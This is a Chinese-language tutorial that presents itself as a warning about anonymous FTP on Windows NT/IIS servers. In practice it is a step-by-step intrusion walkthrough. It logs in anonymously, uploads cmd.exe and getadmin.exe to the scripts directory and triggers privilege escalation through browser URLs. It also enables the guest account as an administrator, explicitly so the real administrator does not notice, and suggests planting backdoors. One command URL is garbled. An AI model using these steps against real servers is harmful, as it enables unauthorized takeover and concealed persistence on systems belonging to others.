对于缺乏网络安全意识的网络管理员,在配置windows服务器时往往只是让web服务器能工作起来,并且打了一些常见的补丁,就认为这个服务器是很安全的了。其实也不然,当他没有注重ftp的匿名登陆的危险时,就可能产生严重漏洞。下面我们将以一个实际的例子看看匿名登陆危险性
shell下,我们可以开始的ftp登陆:(假设主机为192.168.0.1
ftp 192.168.0.1
Connected to 192.168.0.1
220 wyztc Microsoft FTP Service (Version 3.0).
User (192.168.0.1none)):anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 输入anonymous或者guest@ 或者guest
下面对此过程作一定的解释(白色字体是我们输入的部分),首先指定提供匿名登陆的ip地址,然后ftp开始连接指定ip地址,在第三行中,220一般表示连接成功,接下来的wyztc表示此时主机的netbios名称。如果你对WINDOWS NT/2000有一定的了解,就知道此时主机必然存在一个用户名叫做IUSR_MACHINENAME(此时是IUSR_wyztc)的帐户,它就是普通用户浏览此主机上的通用帐户。然后再输入anonymous和密码anonymous就登陆了!
登录后的第一件事情就是用cd跳转目录,这个难度最大,如果能成功进入cig-bin或者scripts目录,你就会有很大的可能得到整个系统的最高权限了。此时加入我们已经很幸运的改变目录成功,即scripts目录,接下来我们就需要上传一些文件到这个目录下(假设下面需要的文件均放在d:\hacker\中):
---------------------------------------------
ftp>mput d:\hacker\cmd.exe
ftp>
mput d:\hacker\getadmin.exe
ftp>mput d:\hacker\gasys.dll
----------------------------------------
显示成功后,我们即可以切换到浏览器中,输入如下形式的命令:
http://192.168.0.1/scripts/getadmin.exe?IUSR_wyztc
大约十多秒后屏幕显示:
CGI Error
此时有很大可能就是把IUSR_wyztc帐户添加入Administrators组中,就是说任何访问192.168.0.1的用户都是Administrator,既然通过浏览器访问已经是Administrator 权限了,所以我们就可以利用net user添加新的帐户。为了不让管理员发现,最好将guest帐户激活!
http://192.168.0.1/scripts/cmd”.exe?/c20%c:\winnt\system32\net.exeuser guest /active:yes
http://192.168.0.1/scripts/getadmin.exe?guest
这样就成功在主机上添加了一个具有Administrators组权限的guest用户,而且管理员稍不留心也不容易发现,危险性很大。而且一旦有了Administrator权限,就可以放置一些后门,让主机不再安全了。